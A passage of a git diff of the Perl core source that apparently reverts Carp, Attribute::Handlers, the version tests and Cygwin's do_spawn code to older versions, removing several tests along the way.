a/cpan/version/t/09_list_util.t +++ b/cpan/version/t/09_list_util.t @@ -4,7 +4,7 @@ ######################### use strict; -use_ok("version", 0.9923); +use_ok("version", 0.9917); use Test::More; BEGIN { diff --git a/cpan/version/t/11_taint.t b/cpan/version/t/11_taint.t deleted file mode 100644 index 5307b01268a5..000000000000 --- a/cpan/version/t/11_taint.t +++ /dev/null @@ -1,24 +0,0 @@ -#!perl -T -use Test::More; -use version; - -BEGIN { - eval "use Test::Taint"; - if ($@) { - plan skip_all => "No Test::Taint available"; - } else { - plan tests => 6; - } -} - -taint_checking_ok(); -my $v = 'v1.2.3'; -taint($v); -tainted_ok($v, 'Set string as tainted'); -my $v2 = version->parse($v); -isnt("$v2", '', 'Correctly parsed the tainted string'); -tainted_ok($v2, 'Resulting version object is tainted'); - -my $vs = "$v2"; -tainted_ok($vs, 'Stringified object still tainted'); -is $v2, 'v1.2.3', 'Comparison to tainted object'; diff --git a/cv.h b/cv.h index dac83fa873fe..ebbdd360f337 100644 --- a/cv.h +++ b/cv.h @@ -234,17 +234,7 @@ CvNAME_HEK(CV *sv) ? ((XPVCV*)MUTABLE_PTR(SvANY(sv)))->xcv_gv_u.xcv_hek : 0; } - -/* helper for the common pattern: - CvNAMED(sv) ? CvNAME_HEK((CV *)sv) : GvNAME_HEK(CvGV(sv)) -*/ -#define CvGvNAME_HEK(sv) ( \ - CvNAMED((CV*)sv) ? \ - ((XPVCV*)MUTABLE_PTR(SvANY((SV*)sv)))->xcv_gv_u.xcv_hek\ - : GvNAME_HEK(CvGV( (SV*) sv)) \ - ) - -/* This lowers the reference count of the previous value, but does *not* +/* This lowers the refernce count of the previous value, but does *not* increment the reference count of the new value. */ #define CvNAME_HEK_set(cv, hek) ( \ CvNAME_HEK((CV *)(cv)) \ diff --git a/cygwin/cygwin.c b/cygwin/cygwin.c index fae90af0001f..24b278f2fd23 100644 --- a/cygwin/cygwin.c +++ b/cygwin/cygwin.c @@ -90,17 +90,15 @@ int do_spawn (char *cmd) { dTHX; - char const **argv, **a; + char const **a; char *s; char const *metachars = "$&*(){}[]'\";\\?>|<~`\n"; const char *command[4]; - int result; - ENTER; while (*cmd && isSPACE(*cmd)) cmd++; - if (strBEGINs (cmd,"/bin/sh") && isSPACE (cmd[7])) + if (strnEQ (cmd,"/bin/sh",7) && isSPACE (cmd[7])) cmd+=5; /* save an extra exec if possible */ @@ -109,7 +107,7 @@ do_spawn (char *cmd) goto doshell; if (*cmd=='.' && isSPACE (cmd[1])) goto doshell; - if (strBEGINs (cmd,"exec") && isSPACE (cmd[4])) + if (strnEQ (cmd,"exec",4) && isSPACE (cmd[4])) goto doshell; for (s=cmd; *s && isALPHA (*s); s++) ; /* catch VAR=val gizmo */ if (*s=='=') @@ -129,16 +127,13 @@ do_spawn (char *cmd) command[2] = cmd; command[3] = NULL; - result = do_spawnvp("sh",command); - goto leave; + return do_spawnvp("sh",command); } - Newx (argv, (s-cmd)/2+2, const char*); - SAVEFREEPV(argv); - cmd=savepvn (cmd,s-cmd); - SAVEFREEPV(cmd); - a=argv; - for (s=cmd; *s;) { + Newx (PL_Argv, (s-cmd)/2+2, const char*); + PL_Cmd=savepvn (cmd,s-cmd); + a=PL_Argv; + for (s=PL_Cmd; *s;) { while (*s && isSPACE (*s)) s++; if (*s) *(a++)=s; @@ -147,13 +142,10 @@ do_spawn (char *cmd) *s++='\0'; } *a = (char*)NULL; - if (!argv[0]) - result = -1; - else - result = do_spawnvp(argv[0],(const char * const *)argv); -leave: - LEAVE; - return result; + if (!PL_Argv[0]) + return -1; + + return do_spawnvp(PL_Argv[0],(const char * const *)PL_Argv); } #if (CYGWIN_VERSION_API_MINOR >= 181) @@ -496,7 +488,7 @@ XS(XS_Cygwin_mount_flags) pathname = SvPV_nolen(ST(0)); - if (strEQ(pathname, "/cygdrive")) { + if (!strcmp(pathname, "/cygdrive")) { char user[PATH_MAX]; char system[PATH_MAX]; char user_flags[PATH_MAX]; @@ -519,7 +511,7 @@ XS(XS_Cygwin_mount_flags) int found = 0; setmntent (0, 0); while ((mnt = getmntent (0))) { - if (strEQ(pathname, mnt->mnt_dir)) { + if (!strcmp(pathname, mnt->mnt_dir)) { strcpy(flags, mnt->mnt_type); if (strlen(mnt->mnt_opts) > 0) { strcat(flags, ","); @@ -544,12 +536,12 @@ XS(XS_Cygwin_mount_flags) user_flags, system_flags); if (strlen(user) > 0) { - if (strNE(user,pathname)) { + if (strcmp(user,pathname)) { sprintf(flags, "%s,cygdrive,%s", user_flags, user); found++; } } else { - if (strNE(user,pathname)) { + if (strcmp(user,pathname)) { sprintf(flags, "%s,cygdrive,%s", system_flags, system); found++; } diff --git a/dist/.gitignore b/dist/.gitignore index 2120f50040da..d8a22d5c8f3a 100644 --- a/dist/.gitignore +++ b/dist/.gitignore @@ -6,6 +6,5 @@ pm_to_blib Makefile Makefile.PL ppport.h -Storable/lib/Storable/Limit.pm Time-HiRes/*.inc Time-HiRes/xdefine diff --git a/dist/Attribute-Handlers/lib/Attribute/Handlers.pm b/dist/Attribute-Handlers/lib/Attribute/Handlers.pm index f028286fb85f..7c049d48e6fb 100644 --- a/dist/Attribute-Handlers/lib/Attribute/Handlers.pm +++ b/dist/Attribute-Handlers/lib/Attribute/Handlers.pm @@ -3,8 +3,8 @@ use 5.006; use Carp; use warnings; use strict; -our $AUTOLOAD; -our $VERSION = '1.01'; # remember to update version in POD! +use vars qw($VERSION $AUTOLOAD); +$VERSION = '0.99'; # remember to update version in POD! # $DB::single=1; my %symcache; @@ -139,9 +139,7 @@ sub AUTOLOAD { croak "Attribute handler '$2' doesn't handle $1 attributes"; } -my $builtin = $] ge '5.027000' - ? qr/lvalue|method|shared/ - : qr/lvalue|method|locked|shared|unique/; +my $builtin = qr/lvalue|method|locked|unique|shared/; sub _gen_handler_AH_() { return sub { @@ -272,7 +270,7 @@ Attribute::Handlers - Simpler definition of attribute handlers =head1 VERSION -This document describes version 1.01 of Attribute::Handlers. +This document describes version 0.99 of Attribute::Handlers. =head1 SYNOPSIS diff --git a/dist/Carp/Changes b/dist/Carp/Changes index 2b549d97de17..dca6a522cfe7 100644 --- a/dist/Carp/Changes +++ b/dist/Carp/Changes @@ -1,51 +1,3 @@ -version 1.49 - - * comment only change, document the change from 1.47 better - and create a commit in blead-perl which can be used to - reference this issue from the bug report. - -version 1.48 - - * guard against hand-rolled UNIVERSAL::can() implementations - which throw exceptions when we call $obj->can("(("). - -version 1.47, 1.47_02 - - * Deal with overloading when overload.pm is not use - - * Note 1.47_02 only existed for one commit in blead-perl, - and in fact no 1.47 should ever see the wild. - -version 1.47, 1.47_01 - - * Do not die on trappable stack-not-refcounted bugs while - serializing the stack. - - * Note 1.47_01 only existed for one commit in blead-perl, - and in fact no 1.47 should ever see the wild. - -version 1.46 - - * avoid vivifying UNIVERSAL::isa:: in Carp - -version 1.45 - - * Optimize format_arg when arguments contain many references - -version 1.43 - - * fix problems introduced by the partial EBCDIC support from version - 1.35 - -version 1.42 - - * add some doc clue about what cluck does - - * avoid floating point overflow in test - -version 1.41 - - * add missing " chunk #" phrase to messages version 1.40; 2016-03-10 * Get arg_string.t to compile in perl v5.6 diff --git a/dist/Carp/lib/Carp.pm b/dist/Carp/lib/Carp.pm index 109b7fec7703..05052b9ef6e8 100644 --- a/dist/Carp/lib/Carp.pm +++ b/dist/Carp/lib/Carp.pm @@ -87,131 +87,7 @@ BEGIN { } } -# is_safe_printable_codepoint() indicates whether a character, specified -# by integer codepoint, is OK to output literally in a trace. Generally -# this is if it is a printable character in the ancestral character set -# (ASCII or EBCDIC). This is used on some Perls in situations where a -# regexp can't be used. -BEGIN { - *is_safe_printable_codepoint = - "$]" >= 5.007_003 ? - eval(q(sub ($) { - my $u = utf8::native_to_unicode($_[0]); - $u >= 0x20 && $u <= 0x7e; - })) - : ord("A") == 65 ? - sub ($) { $_[0] >= 0x20 && $_[0] <= 0x7e } - : - sub ($) { - # Early EBCDIC - # 3 EBCDIC code pages supported then; all controls but one - # are the code points below SPACE. The other one is 0x5F on - # POSIX-BC; FF on the other two. - # FIXME: there are plenty of unprintable codepoints other - # than those that this code and the comment above identifies - # as "controls". - $_[0] >= ord(" ") && $_[0] <= 0xff && - $_[0] != (ord ("^") == 106 ? 0x5f : 0xff); - } - ; -} - -sub _univ_mod_loaded { - return 0 unless exists($::{"UNIVERSAL::"}); - for ($::{"UNIVERSAL::"}) { - return 0 unless ref \$_ eq "GLOB" && *$_{HASH} && exists $$_{"$_[0]::"}; - for ($$_{"$_[0]::"}) { - return 0 unless ref \$_ eq "GLOB" && *$_{HASH} && exists $$_{"VERSION"}; - for ($$_{"VERSION"}) { - return 0 unless ref \$_ eq "GLOB"; - return ${*$_{SCALAR}}; - } - } - } -} - -# _maybe_isa() is usually the UNIVERSAL::isa function. We have to avoid -# the latter if the UNIVERSAL::isa module has been loaded, to avoid infi- -# nite recursion; in that case _maybe_isa simply returns true. -my $isa; -BEGIN { - if (_univ_mod_loaded('isa')) { - *_maybe_isa = sub { 1 } - } - else { - # Since we have already done the check, record $isa for use below - # when defining _StrVal. - *_maybe_isa = $isa = _fetch_sub(UNIVERSAL => "isa"); - } -} - - -# We need an overload::StrVal or equivalent function, but we must avoid -# loading any modules on demand, as Carp is used from __DIE__ handlers and -# may be invoked after a syntax error. -# We can copy recent implementations of overload::StrVal and use -# overloading.pm, which is the fastest implementation, so long as -# overloading is available. If it is not available, we use our own pure- -# Perl StrVal. We never actually use overload::StrVal, for various rea- -# sons described below. -# overload versions are as follows: -# undef-1.00 (up to perl 5.8.0) uses bless (avoid!) -# 1.01-1.17 (perl 5.8.1 to 5.14) uses Scalar::Util -# 1.18+ (perl 5.16+) uses overloading -# The ancient 'bless' implementation (that inspires our pure-Perl version) -# blesses unblessed references and must be avoided. Those using -# Scalar::Util use refaddr, possibly the pure-Perl implementation, which -# has the same blessing bug, and must be avoided. Also, Scalar::Util is -# loaded on demand. Since we avoid the Scalar::Util implementations, we -# end up having to implement our own overloading.pm-based version for perl -# 5.10.1 to 5.14. Since it also works just as well in more recent ver- -# sions, we use it there, too. -BEGIN { - if (eval { require "overloading.pm" }) { - *_StrVal = eval 'sub { no overloading; "$_[0]" }' - } - else { - # Work around the UNIVERSAL::can/isa modules to avoid recursion. - - # _mycan is either UNIVERSAL::can, or, in the presence of an - # override, overload::mycan. - *_mycan = _univ_mod_loaded('can') - ? do { require "overload.pm"; _fetch_sub overload => 'mycan' } - : \&UNIVERSAL::can; - - # _blessed is either UNIVERAL::isa(...), or, in the presence of an - # override, a hideous, but fairly reliable, workaround. - *_blessed = $isa - ? sub { &$isa($_[0], "UNIVERSAL") } - : sub { - my $probe = "UNIVERSAL::Carp_probe_" . rand; - no strict 'refs'; - local *$probe = sub { "unlikely string" }; - local $@; - local $SIG{__DIE__} = sub{}; - (eval { $_[0]->$probe } || '') eq 'unlikely string' - }; - - *_StrVal = sub { - my $pack = ref $_[0]; - # Perl's overload mechanism uses the presence of a special - # "method" named "((" or "()" to signal it is in effect. - # This test seeks to see if it has been set up. "((" post- - # dates overloading.pm, so we can skip it. - return "$_[0]" unless _mycan($pack, "()"); - # Even at this point, the invocant may not be blessed, so - # check for that. - return "$_[0]" if not _blessed($_[0]); - bless $_[0], "Carp"; - my $str = "$_[0]"; - bless $_[0], $pack; - $pack . substr $str, index $str, "="; - } - } -} - - -our $VERSION = '1.50'; +our $VERSION = '1.42'; $VERSION =~ tr/_//d; our $MaxEvalLen = 0; @@ -327,33 +203,11 @@ sub caller_info { my $sub_name = Carp::get_subname( \%call_info ); if ( $call_info{has_args} ) { - # Guard our serialization of the stack from stack refcounting bugs - # NOTE this is NOT a complete solution, we cannot 100% guard against - # these bugs. However in many cases Perl *is* capable of detecting - # them and throws an error when it does. Unfortunately serializing - # the arguments on the stack is a perfect way of finding these bugs, - # even when they would not affect normal program flow that did not - # poke around inside the stack. Inside of Carp.pm it makes little - # sense reporting these bugs, as Carp's job is to report the callers - # errors, not the ones it might happen to tickle while doing so. - # See: https://rt.perl.org/Public/Bug/Display.html?id=131046 - # and: https://rt.perl.org/Public/Bug/Display.html?id=52610 - # for more details and discussion. - Yves - my @args = map { - my $arg; - local $@= $@; - eval { - $arg = $_; - 1; - } or do { - $arg = '** argument not available anymore **'; - }; - $arg; - } @DB::args; - if (CALLER_OVERRIDE_CHECK_OK && @args == 1 - && ref $args[0] eq ref \$i - && $args[0] == \$i ) { - @args = (); # Don't let anyone see the address of $i + my @args; + if (CALLER_OVERRIDE_CHECK_OK && @DB::args == 1 + && ref $DB::args[0] eq ref \$i + && $DB::args[0] == \$i ) { + @DB::args = (); # Don't let anyone see the address of $i local $@; my $where = eval { my $func = $cgc or return ''; @@ -372,6 +226,7 @@ sub caller_info { = "** Incomplete caller override detected$where; \@DB::args were not set **"; } else { + @args = @DB::args; my $overflow; if ( $MaxArgNums and @args > $MaxArgNums ) { # More than we want to show? @@ -398,10 +253,9 @@ our $in_recurse; sub format_arg { my $arg = shift; - if ( my $pack= ref($arg) ) { - + if ( ref($arg) ) { # legitimate, let's not leak it. - if (!$in_recurse && _maybe_isa( $arg, 'UNIVERSAL' ) && + if (!$in_recurse && do { local $@; local $in_recurse = 1; @@ -424,11 +278,8 @@ sub format_arg { } else { - # Argument may be blessed into a class with overloading, and so - # might have an overloaded stringification. We don't want to - # risk getting the overloaded stringification, so we need to - # use _StrVal, our overload::StrVal()-equivalent. - return _StrVal $arg; + my $sub = _fetch_sub(overload => 'StrVal'); + return $sub ? &$sub($arg) : "$arg"; } } return "undef" if !defined($arg); @@ -449,15 +300,32 @@ sub format_arg { next; } my $o = ord($c); - substr $arg, $i, 1, sprintf("\\x{%x}", $o) - unless is_safe_printable_codepoint($o); + + # This code is repeated in Regexp::CARP_TRACE() + if ($] ge 5.007_003) { + substr $arg, $i, 1, sprintf("\\x{%x}", $o) + if utf8::native_to_unicode($o) < utf8::native_to_unicode(0x20) + || utf8::native_to_unicode($o) > utf8::native_to_unicode(0x7e); + } elsif (ord("A") == 65) { + substr $arg, $i, 1, sprintf("\\x{%x}", $o) + if $o < 0x20 || $o > 0x7e; + } else { # Early EBCDIC + + # 3 EBCDIC code pages supported then; all controls but one + # are the code points below SPACE. The other one is 0x5F on + # POSIX-BC; FF on the other two. + substr $arg, $i, 1, sprintf("\\x{%x}", $o) + if $o < ord(" ") || ((ord ("^") == 106) + ? $o == 0x5f + : $o == 0xff); + } } } else { $arg =~ s/([\"\\\$\@])/\\$1/g; # This is all the ASCII printables spelled-out. It is portable to all # Perl versions and platforms (such as EBCDIC). There are other more # compact ways to do this, but may not work everywhere every version. - $arg =~ s/([^ !"#\$\%\&'()*+,\-.\/0123456789:;<=>?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]^_`abcdefghijklmnopqrstuvwxyz\{|}~])/sprintf("\\x{%x}",ord($1))/eg; + $arg =~ s/([^ !"\$\%#'()*+,\-.\/0123456789:;<=>?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]^_`abcdefghijklmnopqrstuvwxyz\{|}~])/sprintf("\\x{%x}",ord($1))/eg; } downgrade($arg, 1); return "\"".$arg."\"".$suffix; @@ -470,12 +338,25 @@ sub Regexp::CARP_TRACE { for(my $i = length($arg); $i--; ) { my $o = ord(substr($arg, $i, 1)); my $x = substr($arg, 0, 0); # work around bug on Perl 5.8.{1,2} - substr $arg, $i, 1, sprintf("\\x{%x}", $o) - unless is_safe_printable_codepoint($o); + + # This code is repeated in format_arg() + if ($] ge 5.007_003) { + substr $arg, $i, 1, sprintf("\\x{%x}", $o) + if utf8::native_to_unicode($o) < utf8::native_to_unicode(0x20) + || utf8::native_to_unicode($o) > utf8::native_to_unicode(0x7e); + } elsif (ord("A") == 65) { + substr $arg, $i, 1, sprintf("\\x{%x}", $o) + if $o < 0x20 || $o > 0x7e; + } else { # Early EBCDIC + substr $arg, $i, 1, sprintf("\\x{%x}", $o) + if $o < ord(" ") || ((ord ("^") == 106) + ? $o == 0x5f + : $o == 0xff); + } } } else { # See comment in format_arg() about this same regex. - $arg =~ s/([^ !"#\$\%\&'()*+,\-.\/0123456789:;<=>?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]^_`abcdefghijklmnopqrstuvwxyz\{|}~])/sprintf("\\x{%x}",ord($1))/eg; + $arg =~ s/([^ !"\$\%#'()*+,\-.\/0123456789:;<=>?\@ABCDEFGHIJKLMNOPQRSTUVWXYZ\[\\\]^_`abcdefghijklmnopqrstuvwxyz\{|}~])/sprintf("\\x{%x}",ord($1))/eg; } downgrade($arg, 1); my $suffix = ""; @@ -571,15 +452,6 @@ sub longmess_heavy { return ret_backtrace( $i, @_ ); } -BEGIN { - if("$]" >= 5.017004) { - # The LAST_FH constant is a reference to the variable. - $Carp::{LAST_FH} = \eval '\${^LAST_FH}'; - } else { - eval '*LAST_FH = sub () { 0 }'; - } -} - # Returns a full stack backtrace starting from where it is # told. sub ret_backtrace { @@ -596,16 +468,7 @@ sub ret_backtrace { my %i = caller_info($i); $mess = "$err at $i{file} line $i{line}$tid_msg"; - if( $. ) { - # Use ${^LAST_FH} if available. - if (LAST_FH) { - if (${+LAST_FH}) { - $mess .= sprintf ", <%s> %s %d", - *${+LAST_FH}{NAME}, - ($/ eq "\n" ? "line" : "chunk"), $. - } - } - else { + if( defined $. ) { local $@ = ''; local $SIG{__DIE__}; eval { @@ -614,7 +477,6 @@ sub ret_backtrace { if($@ =~ /^Died at .*(, <.*?> (?:line|chunk) \d+).$/ ) { $mess .= $1; } - } } $mess .= "\.\n"; @@ -732,8 +594,7 @@ sub trusts_directly { for my $var (qw/ CARP_NOT ISA /) { # Don't try using the variable until we know it exists, # to avoid polluting the caller's namespace. - if ( $stash->{$var} && ref \$stash->{$var} eq 'GLOB' - && *{$stash->{$var}}{ARRAY} && @{$stash->{$var}} ) { + if ( $stash->{$var} && *{$stash->{$var}}{ARRAY} && @{$stash->{$var}} ) { return @{$stash->{$var}} } } diff --git a/dist/Carp/lib/Carp/Heavy.pm b/dist/Carp/lib/Carp/Heavy.pm index a9b803c76ad6..f9c584a42b5b 100644 --- a/dist/Carp/lib/Carp/Heavy.pm +++ b/dist/Carp/lib/Carp/Heavy.pm @@ -2,7 +2,7 @@ package Carp::Heavy; use Carp (); -our $VERSION = '1.50'; +our $VERSION = '1.42'; $VERSION =~ tr/_//d; # Carp::Heavy was merged into Carp in version 1.12. Any mismatched versions diff --git a/dist/Carp/t/Carp.t b/dist/Carp/t/Carp.t index b1e399d14350..65daed7c6ccb 100644 --- a/dist/Carp/t/Carp.t +++ b/dist/Carp/t/Carp.t @@ -3,7 +3,7 @@ no warnings "once"; use Config; use IPC::Open3 1.0103 qw(open3); -use Test::More tests => 68; +use Test::More tests => 67; sub runperl { my(%args) = @_; @@ -488,17 +488,6 @@ SKIP: ); } -{ - package Mpar; - sub f { Carp::croak "tun syn" } - - package Phou; - $Phou::{ISA} = \42; - eval { Mpar::f }; -} -like $@, qr/tun syn/, 'Carp can handle non-glob ISA stash elems'; - - # New tests go here # line 1 "XA" diff --git a/dist/Carp/t/Carp_overloadless.t b/dist/Carp/t/Carp_overloadless.t deleted file mode 100644 index f4bda044ee97..000000000000 --- a/dist/Carp/t/Carp_overloadless.t +++ /dev/null @@ -1,15 +0,0 @@ -use warnings; -#no warnings 'once'; -use Test::More tests => 1; - -use Carp; - -# test that enabling overload without loading overload.pm does not trigger infinite recursion - -my $p = "OverloadedInXS"; -*{$p."::(("} = sub{}; -*{$p.q!::(""!} = sub { Carp::cluck "" }; -sub { Carp::longmess("longmess:") }->(bless {}, $p); -ok(1); - - diff --git a/dist/Carp/t/arg_regexp.t b/dist/Carp/t/arg_regexp.t index 83e8f0359f01..1575b291ab23 100644 --- a/dist/Carp/t/arg_regexp.t +++ b/dist/Carp/t/arg_regexp.t @@ -1,8 +1,6 @@ use warnings; use strict; -# confirm that regexp-typed stack args are displayed correctly by longmess() - use Test::More tests => 42; use Carp (); @@ -18,14 +16,12 @@ my $e9 = sprintf "%02x", (($] ge 5.007_003) : ((ord("A") == 193) ? 0x51 : 0xE9)); -my $xe9 = "\\x$e9"; -my $chr_e9 = eval "\"$xe9\""; +my $chr_e9 = chr eval "0x$e9"; my $nl_as_hex = sprintf "%x", ord("\n"); # On Perl 5.6 we accept some incorrect quoting of Unicode characters, # because upgradedness of regexps isn't preserved by stringification, # so it's impossible to implement the correct behaviour. -# FIXME: the permissive patterns don't account for EBCDIC my $xe9_rx = "$]" < 5.008 ? qr/\\x\{c3\}\\x\{a9\}|\\x\{e9\}/ : qr/\\x\{$e9\}/; my $x666_rx = "$]" < 5.008 ? qr/\\x\{d9\}\\x\{a6\}|\\x\{666\}/ : qr/\\x\{666\}/; my $x2603_rx = "$]" < 5.008 ? qr/\\x\{e2\}\\x\{98\}\\x\{83\}|\\x\{2603\}/ : qr/\\x\{2603\}/; @@ -45,10 +41,16 @@ like lm(qr/\x{666}b/), qr/main::lm\(qr\(\\x\{666\}b\)u?\)/; like lm(rx("\x{666}b")), qr/main::lm\(qr\(${x666_rx}b\)u?\)/; like lm(qr/a\x{666}/), qr/main::lm\(qr\(a\\x\{666\}\)u?\)/; like lm(rx("a\x{666}")), qr/main::lm\(qr\(a${x666_rx}\)u?\)/; -like lm(qr/L${xe9}on/), qr/main::lm\(qr\(L\\x${e9}on\)u?\)/; +like lm(qr/L${chr_e9}on/), qr/main::lm\(qr\(L\\x\{?${e9}\}?on\)u?\)/; like lm(rx("L${chr_e9}on")), qr/main::lm\(qr\(L${xe9_rx}on\)u?\)/; -like lm(qr/L${xe9}on \x{2603} !/), qr/main::lm\(qr\(L\\x${e9}on \\x\{2603\} !\)u?\)/; -like lm(rx("L${chr_e9}on \x{2603} !")), qr/main::lm\(qr\(L${xe9_rx}on ${x2603_rx} !\)u?\)/; + + +SKIP: { + skip "wide-character-related bug in pre-5.18 perls", 2 if $] lt 5.017_001; + + like lm(qr/L${chr_e9}on \x{2603} !/), qr/main::lm\(qr\(L\\x\{?${e9}\}?on \\x\{2603\} !\)u?\)/; + like lm(rx("L${chr_e9}on \x{2603} !")), qr/main::lm\(qr\(L${xe9_rx}on ${x2603_rx} !\)u?\)/; +} $Carp::MaxArgLen = 5; foreach my $arg ("foo bar baz", "foo bar ba", "foo bar b", "foo bar ", "foo bar", "foo ba") { @@ -58,10 +60,16 @@ foreach my $arg ("foo b", "foo ", "foo", "fo", "f", "") { like lm(rx($arg)), qr/main::lm\(qr\(\Q$arg\E\)u?\)/; } like lm(qr/foo.bar$/sm), qr/main::lm\(qr\(fo\)\.\.\.u?ms\)/; -like lm(qr/L${xe9}on \x{2603} !/), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/; -like lm(rx("L${chr_e9}on \x{2603} !")), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/; -like lm(qr/L${xe9}on\x{2603}/), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/; -like lm(rx("L${chr_e9}on\x{2603}")), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/; + +SKIP: { + skip "wide-character-related bug in pre-5.18 perls", 4 if $] lt 5.017_001; + + like lm(qr/L${chr_e9}on \x{2603} !/), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/; + like lm(rx("L${chr_e9}on \x{2603} !")), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/; + like lm(qr/L${chr_e9}on\x{2603}/), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/; + like lm(rx("L${chr_e9}on\x{2603}")), qr/main::lm\(qr\(L\\\)\.\.\.u?\)/; +} + like lm(qr/foo\x{2603}/), qr/main::lm\(qr\(fo\)\.\.\.u?\)/; like lm(rx("foo\x{2603}")), qr/main::lm\(qr\(fo\)\.\.\.u?\)/; @@ -69,7 +77,12 @@ $Carp::MaxArgLen = 0; foreach my $arg ("wibble:" x 20, "foo bar baz") { like lm(rx($arg)), qr/main::lm\(qr\(\Q$arg\E\)u?\)/; } -like lm(qr/L${xe9}on\x{2603}/), qr/main::lm\(qr\(L\\x${e9}on\\x\{2603\}\)u?\)/; -like lm(rx("L${chr_e9}on\x{2603}")), qr/main::lm\(qr\(L${xe9_rx}on${x2603_rx}\)u?\)/; + +SKIP: { + skip "wide-character-related bug in pre-5.18 perls", 2 if $] lt 5.017_001; + + like lm(qr/L${chr_e9}on\x{2603}/), qr/main::lm\(qr\(L\\x\{?${e9}\}?on\\x\{2603\}\)u?\)/; + like lm(rx("L${chr_e9}on\x{2603}")), qr/main::lm\(qr\(L${xe9_rx}on${x2603_rx}\)u?\)/; +} 1; diff --git a/dist/Carp/t/arg_string.t b/dist/Carp/t/arg_string.t index 544a4fe05943..dc70f4370bff 100644 --- a/dist/Carp/t/arg_string.t +++ b/dist/Carp/t/arg_string.t @@ -1,9 +1,9 @@ use warnings; use strict; -# confirm that string-typed stack args are displayed correctly by longmess() +# confirm that stack args are displayed correctly by longmess() -use Test::More tests => 33; +use Test::More tests => 32; use Carp (); @@ -17,8 +17,7 @@ my $e9 = sprintf "%02x", (($] ge 5.007_003) : ((ord("A") == 193) ? 0x51 : 0xE9)); -my $xe9 = "\\x$e9"; -my $chr_e9 = eval "\"$xe9\""; +my $chr_e9 = chr eval "0x$e9"; my $nl_as_hex = sprintf "%x", ord("\n"); like lm(3), qr/main::lm\(3\)/; @@ -34,9 +33,9 @@ like lm(-3.5e30), \) /x; like lm(""), qr/main::lm\(""\)/; like lm("foo"), qr/main::lm\("foo"\)/; -like lm("a&b"), qr/main::lm\("a&b"\)/; like lm("a\$b\@c\\d\"e"), qr/main::lm\("a\\\$b\\\@c\\\\d\\\"e"\)/; like lm("a\nb"), qr/main::lm\("a\\x\{$nl_as_hex\}b"\)/; + like lm("a\x{666}b"), qr/main::lm\("a\\x\{666\}b"\)/; like lm("\x{666}b"), qr/main::lm\("\\x\{666\}b"\)/; like lm("a\x{666}"), qr/main::lm\("a\\x\{666\}"\)/; diff --git a/dist/Carp/t/broken_can.t b/dist/Carp/t/broken_can.t deleted file mode 100644 index c32fa1909df5..000000000000 --- a/dist/Carp/t/broken_can.t +++ /dev/null @@ -1,15 +0,0 @@ -use Test::More tests => 1; - -# [perl #132910] - -package Foo; -sub can { die } - -package main; - -use Carp; - -eval { - sub { confess-sins }->(bless[], Foo); -}; -like $@, qr/^-sins at /; diff --git a/dist/Carp/t/broken_univ_can.t b/dist/Carp/t/broken_univ_can.t deleted file mode 100644 index 0ec19d7aa318..000000000000 --- a/dist/Carp/t/broken_univ_can.t +++ /dev/null @@ -1,24 +0,0 @@ -# [perl #132910] -# This mock-up breaks Test::More. Don’t use Test::More. - -sub UNIVERSAL::can { die; } - -# Carp depends on this to detect the override: -BEGIN { $UNIVERSAL::can::VERSION = 0xbaff1ed_bee; } - -use Carp; - -eval { - sub { confess-sins }->(bless[], Foo); -}; -print "1..1\n"; -if ($@ !~ qr/^-sins at /) { - print "not ok 1\n"; - print "# Expected -sins at blah blah blah...\n"; - print "# Instead, we got:\n"; - $@ =~ s/^/# /mg; - print $@; -} -else { - print "ok 1\n"; -} diff --git a/dist/Carp/t/stack_after_err.t b/dist/Carp/t/stack_after_err.t deleted file mode 100644 index 57dbc233d13c..000000000000 --- a/dist/Carp/t/stack_after_err.t +++ /dev/null @@ -1,69 +0,0 @@ -use strict; -use warnings; -use Config; -use IPC::Open3 1.0103 qw(open3); - -BEGIN { - if ($^O eq 'VMS') { - print "1..0 # IPC::Open3 needs porting\n"; - exit; - } -} - -my @tests=( - # Make sure we don’t try to load modules on demand in the presence of over- - # loaded args. If there has been a syntax error, they won’t load. - [ 'Carp does not try to load modules on demand for overloaded args', - "", qr/Looks lark.*o=ARRAY.* CODE/s, - ], - # Run the test also in the presence of - # a) A UNIVERSAL::can module - # b) A UNIVERSAL::isa module - # c) Both - # since they follow slightly different code paths on old pre-5.10.1 perls. - [ 'StrVal fallback in the presence of UNIVERSAL::isa', - 'BEGIN { $UNIVERSAL::isa::VERSION = 1 }', - qr/Looks lark.*o=ARRAY.* CODE/s, - ], - [ 'StrVal fallback in the presence of UNIVERSAL::can', - 'BEGIN { $UNIVERSAL::can::VERSION = 1 }', - qr/Looks lark.*o=ARRAY.* CODE/s, - ], - [ 'StrVal fallback in the presence of UNIVERSAL::can/isa', - 'BEGIN { $UNIVERSAL::can::VERSION = $UNIVERSAL::isa::VERSION = 1 }', - qr/Looks lark.*o=ARRAY.* CODE/s, - ], -); - -my ($test_num)= @ARGV; -if (!$test_num) { - eval sprintf "use Test::More tests => %d; 1", 0+@tests - or die "Failed to use Test::More: $@"; - local $ENV{PERL5LIB} = join ($Config::Config{path_sep}, @INC); - foreach my $i (1 .. @tests) { - my($w, $r); - my $pid = open3($w, $r, undef, $^X, $0, $i); - close $w; - my $output = do{ local $/; <$r> }; - waitpid($pid, 0); - like($output, $tests[$i-1][2], $tests[$i-1][0]); - } -} else { - eval $tests[$test_num-1][1] . <<'END_OF_TEST_CODE' - no strict; - no warnings; - use Carp; - sub foom { - Carp::confess("Looks lark we got a error: $_[0]") - } - BEGIN { - *{"o::()"} = sub {}; - *{'o::(""'} = sub {"hay"}; - $o::OVERLOAD{dummy}++; # perls before 5.18 need this - *{"CODE::()"} = sub {}; - $SIG{__DIE__} = sub { foom (@_, bless([], o), sub {}) } - } - $a + -END_OF_TEST_CODE - or die $@; -} diff --git a/dist/Carp/t/vivify_stash.t b/dist/Carp/t/vivify_stash.t index 744d0d25849b..0ac66d89e03f 100644 --- a/dist/Carp/t/vivify_stash.t +++ b/dist/Carp/t/vivify_stash.t @@ -1,25 +1,25 @@ BEGIN { print "1..5\n"; } our $has_utf8; BEGIN { $has_utf8 = exists($::{"utf8::"}); } +our $has_overload; 